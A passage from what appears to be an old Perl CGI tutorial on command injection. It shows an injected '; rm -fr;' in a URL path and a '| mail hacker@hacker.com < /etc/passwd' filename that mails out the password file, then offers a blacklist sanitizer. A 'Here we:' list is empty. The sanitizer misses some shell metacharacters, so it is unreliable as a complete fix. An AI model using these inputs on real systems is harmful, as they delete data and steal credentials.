CGI really has only one large security hole that I can see. If you pass information that came from a remote site to an operating system command, you are asking for trouble. I think an example is needed to understand the problem because it is not obvious.
Suppose that you had a CGI script that formatted a directory listing and generated a Web page that let visitors view the listing. In addition, let's say that the name of the directory to display was passed to your program using the PATH_INFO environment variable. The following URL could be used to call your program:
http://www.foo.com/cgi-bin/dirlist.pl/docs
Inside your program, the PATH_INFO environment variable is set to docs. In order to get the directory listing, all that is needed is a call to the ls command in UNIX or the dir command in DOS. Everything looks good, right?
But what if the program was invoked with this command line?
http://www.foo.com/cgi-bin/dirlist.pl/; rm -fr;
Now, all of a sudden, you are faced with the possibility of files being deleted because the semi-colon (;) lets multiple commands be executed on one command line.
This same type of security hole is possible any time you try to run an external command. You might be tempted to use the mail, sendmail, or grep commands to save time while writing your CGI program, but because all of these programs are easily duplicated using Perl, try to resist the temptation.
Another security hole is related to using external data to open or create files. Some enterprising hacker could use "| mail hacker@hacker.com < /etc/passwd" as the filename to mail your password file or any other file to himself.
All of these security holes can be avoided by removing the dangerous characters (like the | or pipe character) as follows in security.pl:
Here we:
The Perl code for security.pl is:
sub improveSecurity { $_ = shift; s/\-+(.*)/\1/g; s/(.*)[ \t]+\-(.*)/\1\2/g; tr/\$\'\`\"\<\>\/\;\!\|/_/; return($_); }